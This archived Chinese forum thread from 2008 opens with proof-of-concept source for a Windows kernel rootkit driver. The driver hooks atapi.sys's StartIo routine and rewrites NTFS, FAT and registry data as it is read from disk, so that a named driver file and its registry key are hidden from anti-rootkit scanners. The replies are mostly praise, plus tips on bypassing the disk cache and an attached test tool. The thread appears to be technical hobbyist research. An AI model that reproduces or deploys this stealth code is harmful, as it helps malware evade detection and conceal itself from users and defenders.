本论坛为只读模式,仅供查阅,不能注册新用户,不能发帖/回帖,有问题可发邮件 xikug.xp (^) gmail.com
查看: 11348|回复: 27

[POC]基于IO Packet隐藏文件和注册表,过磁盘解析和总线解析 [复制链接]

Rank: 5Rank: 5

发表于 2008-10-19 03:52:18 |显示全部楼层
昨天晚上玩过游戏,睡觉前写了一点代码,下午醒来又稍微改了改

只是POC~

文件的貌似有时候能隐藏又时候不行~郁闷的是每次跟过去就可以隐藏了,不跟的话有时候又隐藏不了~最后懒得改了~~~另外 由于没有动CACHE,所以对于用API或者FSD的文件检查反而过不去~

注册表的部分过FILE CACHE的低强度解析(例如狙剑)也是过不了的~由于这方面工具很少,冰刃和DARKSPY又总是在我的虚拟机上蓝屏,所以就没仔细测试了~也许有问题~

hook了atapi.sys的StartIo例程(由IoStartPacket例程调用,SCSI REQUEST BLOCK最后会调用到这里),过滤磁盘访问~

目标是隐藏名为mj0011k.sys及其注册表项~
绕过所有磁盘解析(例如狙剑、FILEREG、RKU、RKR)
和总线解析(例如RKU发送SRB到ATAPI)

文件隐藏的handler直接照抄了AZY的代码 ^_^


  1. ULONG oldstartio;
  2. PDRIVER_OBJECT atapi_dev ;
  3. VOID unload(
  4.                       PDEVICE_OBJECT DeviceObject,
  5.                       PIRP Irp
  6.     )
  7. {
  8.     atapi_dev->DriverStartIo = oldstartio ;
  9.     return ;
  10. }
  11. CHAR fileHide[] = "MJ0011K";
  12. CHAR fileExt[] = "SYS";
  13. WCHAR hideFile[] = L"MJ0011K.SYS";
  14. typedef struct _INDEX_HEADER{
  15.     UCHAR            magic[4];
  16.     USHORT            UpdateSequenceOffset;
  17.     USHORT            SizeInWords;
  18.     LARGE_INTEGER    LogFileSeqNumber;
  19.     LARGE_INTEGER    VCN;
  20.     ULONG            IndexEntryOffset;    // needed!
  21.     ULONG            IndexEntrySize;
  22.     ULONG            AllocateSize;
  23. }INDEX_HEADER, *PINDEX_HEADER;
  24. typedef struct _INDEX_ENTRY{
  25.     LARGE_INTEGER        MFTReference;
  26.     USHORT            Size;                // needed!
  27.     USHORT            FileNameOffset;
  28.     USHORT            Flags;
  29.     USHORT            Padding;
  30.     LARGE_INTEGER        MFTReferParent;
  31.     LARGE_INTEGER        CreationTime;
  32.     LARGE_INTEGER        ModifyTime;
  33.     LARGE_INTEGER        FileRecModifyTime;
  34.     LARGE_INTEGER        AccessTime;
  35.     LARGE_INTEGER        AllocateSize;
  36.     LARGE_INTEGER        RealSize;
  37.     LARGE_INTEGER        FileFlags;
  38.     UCHAR            FileNameLength;
  39.     UCHAR            NameSpace;
  40.     WCHAR            FileName[1];
  41. }INDEX_ENTRY, *PINDEX_ENTRY;
  42. CHAR NtfsFileRecordHeader[] = "FILE";
  43. CHAR NtfsIndexRootHeader[] = "INDX";
  44. #define FILERECORDSIZE 1024
  45. ULONG xxlong = 0x7 ;
  46. WCHAR regname[] = L"MJ0011K";
  47. VOID HandleRegHide(PVOID buf , ULONG len )
  48. {
  49.     ULONG i ;
  50.     for (i = 0 ; i < len  ; i ++)
  51.     {
  52.         if (i + 4 >= len)
  53.         {
  54.             break ;
  55.         }
  56.         if (*(ULONG*)((ULONG)buf + i ) == xxlong)
  57.         {
  58.             if (i + 4 + xxlong * sizeof(WCHAR) >= len)
  59.             {
  60.                 break ;
  61.             }
  62.             if (_wcsnicmp((wchar_t*)((ULONG)buf + i + 4) , regname , xxlong))
  63.             {
  64.                 RtlZeroMemory((PVOID)((ULONG)buf + i + 4) , xxlong * sizeof(WCHAR));
  65.                 *(ULONG*)((ULONG)buf +i ) = 0 ;
  66.                 break ;
  67.             }
  68.         }
  69.     }
  70.     return ;
  71. }
  72. VOID HandleAkDiskHide(PVOID UserBuf, ULONG BufLen)
  73. {
  74.     ULONG i;
  75.     BOOLEAN bIsNtfsIndex;
  76.     BOOLEAN bIsNtfsFile;
  77.     ULONG offset = 0;
  78.     ULONG indexSize = 0;
  79.     PINDEX_ENTRY currIndxEntry = NULL;
  80.     PINDEX_ENTRY preIndxEntry = NULL;
  81.     ULONG currPosition;
  82.    
  83.    
  84.     bIsNtfsFile = (_strnicmp(UserBuf, NtfsFileRecordHeader, 4) == 0);
  85.     bIsNtfsIndex = (_strnicmp(UserBuf, NtfsIndexRootHeader, 4) == 0);
  86.    
  87.     if(bIsNtfsFile == FALSE && bIsNtfsIndex == FALSE)
  88.     {            
  89.         
  90.         for(i = 0; i < BufLen/0x20; i++)
  91.         {
  92.             if(!_strnicmp(UserBuf, fileHide, 5) && !_strnicmp((PVOID)((ULONG)UserBuf+0x8), fileExt, 3))
  93.             {
  94.                
  95.                 *(PUCHAR)UserBuf        = 0xe5;
  96.                 *(PULONG)((ULONG)UserBuf + 0x1)    = 0;
  97.                
  98.                 break;
  99.                
  100.             }
  101.             
  102.             UserBuf = (PVOID)((ULONG)UserBuf + 0x20);
  103.             
  104.         }
  105.         
  106.     } else if(bIsNtfsFile) {
  107.         
  108.         //DbgPrint("FILE0...");
  109.         
  110.         for(i = 0; i < BufLen / FILERECORDSIZE; i++)
  111.         {
  112.             if(!_wcsnicmp((PWCHAR)((ULONG)UserBuf + 0xf2), hideFile, 9))
  113.             {
  114.                 memset((PVOID)UserBuf, 0, 0x4);
  115.                 memset((PVOID)((ULONG)UserBuf + 0xf2), 0, 18);
  116.                 break;
  117.             }
  118.             
  119.             UserBuf = (PVOID)((ULONG)UserBuf + FILERECORDSIZE);
  120.             
  121.         }
  122.         
  123.     } else if(bIsNtfsIndex) {
  124.         
  125.         //DbgPrint("INDX...");
  126.         // Index Entries
  127.         
  128.         offset = ((PINDEX_HEADER)UserBuf)->IndexEntryOffset + 0x18;
  129.         indexSize = BufLen - offset;
  130.         currPosition = 0;
  131.         
  132.         currIndxEntry = (PINDEX_ENTRY)((ULONG)UserBuf + offset);
  133.         //DbgPrint(" -- offset: 0x%x indexSize: 0x%x", offset, indexSize);
  134.         
  135.         while(currPosition < indexSize && currIndxEntry->Size > 0 && currIndxEntry->FileNameOffset > 0)
  136.         {
  137.             if(!_wcsnicmp(currIndxEntry->FileName, hideFile, 9))
  138.             {
  139.                 memset((PVOID)currIndxEntry->FileName, 0, 18);
  140.                
  141.                 if(currPosition == 0)
  142.                 {
  143.                     ((PINDEX_HEADER)UserBuf)->IndexEntryOffset += currIndxEntry->Size;
  144.                     break;
  145.                 }
  146.                
  147.                 preIndxEntry->Size += currIndxEntry->Size;
  148.                
  149.                 break;
  150.             }
  151.             
  152.             currPosition += currIndxEntry->Size;
  153.             preIndxEntry = currIndxEntry;
  154.             currIndxEntry = (PINDEX_ENTRY)((ULONG)currIndxEntry + currIndxEntry->Size);
  155.             
  156.         }
  157.     }
  158. }
  159. VOID mystartio(   PDEVICE_OBJECT DeviceObject,   PIRP Irp )
  160. {
  161.     PIO_STACK_LOCATION irp_stack ;
  162.     irp_stack = IoGetCurrentIrpStackLocation(Irp);
  163.     if (irp_stack->DeviceObject->DeviceType == FILE_DEVICE_DISK &&
  164.         irp_stack->Parameters.Scsi.Srb->Function == SRB_FUNCTION_EXECUTE_SCSI &&
  165.         irp_stack->Parameters.Scsi.Srb->CdbLength == 0xA &&
  166.         (irp_stack->Parameters.Scsi.Srb->SrbFlags & SRB_FLAGS_DATA_IN) &&
  167.         irp_stack->Parameters.Scsi.Srb->DataBuffer &&
  168.         irp_stack->Parameters.Scsi.Srb->DataTransferLength
  169.         )
  170.     {
  171.         PVOID buf = irp_stack->Parameters.Scsi.Srb->DataBuffer ;
  172.         ULONG len = irp_stack->Parameters.Scsi.Srb->DataTransferLength ;
  173.         ULONG i ;
  174.         PMDL mdl = Irp->MdlAddress ;
  175.         KDMSG(("disk device bus read request!lba = %08x , len = %08x\n",
  176.             irp_stack->Parameters.Scsi.Srb->QueueSortKey ,
  177.             irp_stack->Parameters.Scsi.Srb->DataTransferLength));
  178.         __asm
  179.         {
  180.             push    Irp
  181.             push    DeviceObject
  182.             call    oldstartio
  183.         }
  184.         
  185.         buf = MmGetSystemAddressForMdl(mdl );
  186.         HandleAkDiskHide(buf , len );
  187.         HandleRegHide(buf , len);
  188.         return ;
  189.         
  190.     }
  191.     __asm
  192.     {
  193.         push    Irp
  194.             push    DeviceObject
  195.             call    oldstartio
  196.         }
  197.     return ;
  198. }
  199. NTSTATUS DriverEntry(PDRIVER_OBJECT drvobj , PUNICODE_STRING regpath)
  200. {
  201.     UNICODE_STRING uniname ;
  202.     NTSTATUS stat ;
  203.     drvobj->DriverUnload = (PDRIVER_UNLOAD )unload ;
  204.     RtlInitUnicodeString(&uniname , L"\\Driver\\Atapi");
  205.     stat = ObReferenceObjectByName(&uniname ,
  206.         OBJ_CASE_INSENSITIVE ,
  207.         NULL ,
  208.         0,
  209.         *IoDriverObjectType ,
  210.         KernelMode ,
  211.         NULL ,
  212.         (PVOID*)&atapi_dev);
  213.     if (!NT_SUCCESS(stat))
  214.     {
  215.         KDMSG(("get atapi drvobj failed , stat = %08x\n" , stat));
  216.         return stat ;
  217.     }
  218.     oldstartio = atapi_dev->DriverStartIo ;
  219.     atapi_dev->DriverStartIo = mystartio;
  220.     return STATUS_SUCCESS ;
  221. }
复制代码

Rank: 1

发表于 2008-10-19 03:58:53 |显示全部楼层
学习了 向MJ学习 

Rank: 3Rank: 3

发表于 2008-10-19 03:58:54 |显示全部楼层
好强

Rank: 1

发表于 2008-10-19 04:43:30 |显示全部楼层
顶1个,不过暂时代码有点不太能理解

Rank: 2

发表于 2008-10-19 10:50:35 |显示全部楼层
先模拜下....代码有空再改下...理论上在读扇区XXX是完全可以的...不过貌似真的不稳定...我这里隐藏不了...付上一个测试工具...

File&Reg.rar

30 KB, 下载次数: 831

Rank: 2

发表于 2008-10-19 12:26:57 |显示全部楼层
好强大

Rank: 5Rank: 5

发表于 2008-10-19 13:01:21 |显示全部楼层
引用第4楼sysnap于2008-10-19 07:50发表的  :
先模拜下....代码有空再改下...理论上在读扇区XXX是完全可以的...不过貌似真的不稳定...我这里隐藏不了...付上一个测试工具...


读扇区XX理论上是检测不了的
你的filereg工具我试过了,有时候能隐藏,我自己的也是~

Rank: 5Rank: 5

发表于 2008-10-19 16:29:20 |显示全部楼层
思路基本上MJ爆全了~~

隐藏需要的处理也有代码了

剩下的事情就是处理为mj添加处理cache的代码~

PS:
无声望要求~~

Rank: 2

发表于 2008-10-19 23:07:57 |显示全部楼层
向mj学习。。。

Rank: 2

发表于 2008-10-20 12:06:08 |显示全部楼层
不得不顶!

Rank: 1

发表于 2008-10-20 13:12:11 |显示全部楼层
太猛太强大,,,
Windows内核可研究的东西好多
真是条条大道通罗马!

Rank: 1

发表于 2008-10-20 14:48:00 |显示全部楼层
收藏一份,学习

Rank: 1

发表于 2008-10-23 15:50:19 |显示全部楼层
太强大了,继续学习

Rank: 1

发表于 2008-10-24 14:48:01 |显示全部楼层
直接hook最终磁盘硬件驱动,在扇区层上拦截(先分析被隐藏文件所用到的扇区)    

Rank: 1

发表于 2008-10-24 14:51:31 |显示全部楼层
不过需要一开始就hook,不然缓存中有东西。。。。。。。。。。
或者直接刷新缓存(假写文件(过了缓存层就拦下来),就能刷缓存了)  

Rank: 1

发表于 2008-11-5 14:31:57 |显示全部楼层
MJ的帖子一定要顶的

Rank: 1

发表于 2008-11-9 12:27:50 |显示全部楼层
厉害啊 代码收藏

Rank: 1

发表于 2008-11-9 16:31:23 |显示全部楼层
对于这篇文章 看了什么经典的chm之后才能看懂?

楼下的告诉我一下 .....我谢谢死你....

Rank: 2

发表于 2008-11-14 23:50:02 |显示全部楼层
不错,学习了
该用户已被删除
发表于 2008-11-21 19:52:22 |显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽
您需要登录后才可以回帖 登录 | 立即加入

Archiver|手机版|第8个男人 - 论坛为只读模式,仅供查阅

GMT+8, 2019-6-26 15:00 , Processed in 0.034908 second(s), 11 queries .

Design by pvo.cn

© 2011 Pvo Inc.

回顶部